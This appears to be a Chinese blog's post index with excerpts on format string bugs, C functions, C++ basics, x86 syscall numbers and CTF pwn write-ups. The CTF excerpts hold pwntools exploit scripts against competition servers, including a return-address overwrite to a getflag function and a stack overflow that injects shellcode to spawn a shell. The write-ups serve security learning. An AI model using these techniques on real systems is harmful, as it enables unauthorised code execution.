Format_String_study
原理介绍格式化字符串函数可以接受可变数量的参数,并将第一个参数作为格式化字符串,根据其来解析之后的参数。 格式化字符串在利用时主要分为三个部分: 格式化字符串函数 格式化字符串 后续参数 常见的格式化字符串函数有: scanf:输入 printf:输出到stdout fprintf:输出到指定FILE流 vprintf:根据参数列表输出到指定FILE流 sprintf:输出到字符串 snprintf:输出指定字节数到字符串 vsnprintf:根据参数列表格式化输出指定字节到字符串 setproctitle:设置argv syslog:输出日志 格式化字符串基本格式: %[parameter][flags][field width][.precision][length]type parameter:n$,获取格式化字符串中的指定参数 flag field...
函数_C
strtol()格式:*long int strol(const char *str,char endptr,int base)**,把*参数str指向的字符串根据给定的base转换为一个长整数,base必须介于2和36之间或为0。返回值为被转换的长整型整数值**。 strstr()格式:*char *strstr(const char *haystack,const char *needle),在字符串haystack中查找第一次出现字符串needle的位置,不包含终止符\0。返回值为指向haystack中第一次出现needle的位置的指针,若没找到则返回*NULL。
C++_Study
0-hello_world学习一门语言一开始都要做的事,编写程序打印出hello world。(尽管什么都不会) #include<iostream>using namespace std;int main(){ cout << "hello_world" << endl; system("pause"); return 0;} 1-初识1-1:注释在代码中加一些说明和注释,方便自己和他人阅读理解代码。 单行注释:通常放在一行代码的上方或末尾,对该行代码进行说明,格式如下 //描述内容 多行注释:通常放在一段代码的上方,对该段代码进行说明,格式如下 /*描述内容*/ 示例如下: #include<iostream>using namespace std;/*打印hello_world字符串的函数*/int main(){ cout << "hello_world" << endl; ...
系统调用号
32位#ifndef _ASM_X86_UNISTD_32_H#define _ASM_X86_UNISTD_32_H 1#define NR_restart_syscall 0#define NR_exit 1#define NR_fork 2#define NR_read 3#define NR_write 4#define NR_open 5#define NR_close 6#define NR_waitpid 7#define NR_creat 8#define NR_link 9#define NR_unlink 10#define NR_execve 11#define NR_chdir 12#define NR_time 13#define NR_mknod 14#define NR_chmod 15#define NR_lchown 16#define NR_break 17#define NR_oldstat 18#define NR_lseek 19#define NR_getpid 20#define NR_mount 21#define...
NewStarCTF2024
Game 就是不断输入1至9的数字,当输入的数字的和大于999时获得shell。 from pwn import*io=remote('61.139.2.1',57621)for _ in range(120): io.sendline(b'9')io.interactive() Real_Login简单的签到题目,输入的字符串与程序设定的password一样就能获得shell。 from pwn import*io=remote('61.139.2.1',59414)io.sendlineafter('your input: ',b'NewStar!!!')io.interactive() gdb 该程序先对字符串进行加密,用户再输入字符串并进行对比,若一致则获得flag。 使用gdb进行调试。 from pwn import*io=remote('61.139.2.1',63397)io.sendlineafter('data:...
NewYearCTF2025
messages 该程序主要由intput_messages函数与print_messages函数组成,主要实现了先将输入的字符串存储到bss段上,再将字符串拷贝到栈上,由于输出时没有检测字符串最大个数,因此可以造成数组下标越界从而覆盖返回地址返回到getflag函数获得flag。 from pwn import*io=remote('61.139.2.1',62280)payload1=(b'aa\0'*16)[:-1]payload2=b'\x01\x01\x00'*3+p64(0x401196)io.sendlineafter('>',payload1)io.sendlineafter('>',payload2)io.sendlineafter('>',b'\n')io.interactive()
GeekChallenge2024
ez_shellcode简单的shellcode from pwn import*context.arch='amd64'io=remote('nc1.ctfplus.cn',39373)shellcode_addr=0x0401256shellcode=asm(shellcraft.sh())io.send(shellcode)payload=cyclic(0x18+8)+p64(shellcode_addr)io.sendline(payload)io.interactive() 你会栈溢出吗?简单的64位栈溢出,注意堆栈平衡 from pwn...